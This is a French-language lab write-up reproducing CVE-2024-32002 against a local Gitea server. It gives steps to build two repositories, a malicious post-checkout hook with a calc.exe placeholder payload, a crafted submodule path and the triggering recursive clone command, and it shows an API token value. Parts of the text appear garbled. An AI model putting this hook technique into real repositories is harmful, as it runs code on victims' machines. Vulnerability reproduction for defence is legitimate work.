
Adaptation de CVE-2024-32002 pour une exécution hors ligne et locale.
Nous suivons cet article de blog mais avec quelques différences clés : https://amalmurali.me/posts/git-rce
git_rce) inclut un sous-module dont le chemin est spécialement conçu..git/, lequel contient un hook malveillant.⚠️ Avertissement : N'exécutez pas cette preuve de concept sur des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation explicite. Des tests non autorisés pourraient entraîner des conséquences imprévues.
Nous devons créer un jeton API pour Gitea ; celui-ci se trouve à l'adresse http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications.
J'ai attribué au jeton l'accès à tout afin de garantir le bon fonctionnement de l'ensemble.
Ensuite, nous pouvons exécuter notre poc.sh en veillant à fournir les informations demandées, telles que l'adresse IP et le port du serveur Gitea, le nom d'utilisateur et le jeton pour créer les dépôts.
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
Il faut également modifier les lignes 42 à 46 pour y placer la charge utile.
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
Il y a une étape supplémentaire : nous devons accéder au fichier .gitmodules du dépôt main vers le dépôt hook. Je suis allé manuellement dans le dépôt sur Gitea et j'ai modifié le fichier.

Et ensuite j'ai fait ceci :
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
En m'assurant qu'en allant dans A/modules, je voyais quelque chose comme ceci :

Ensuite, en cliquant sur ce commit, cela devrait afficher l'autre dépôt contenant les éléments de la preuve de concept.
Ensuite, nous pouvons prendre notre URL et celle-ci devrait fonctionner pour déclencher l'exploit :
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Crédit à filip-hejsek et amalmurali47 pour la découverte de cette vulnérabilité et pour avoir fourni un article de blog et un dépôt à partir desquels adapter notre travail.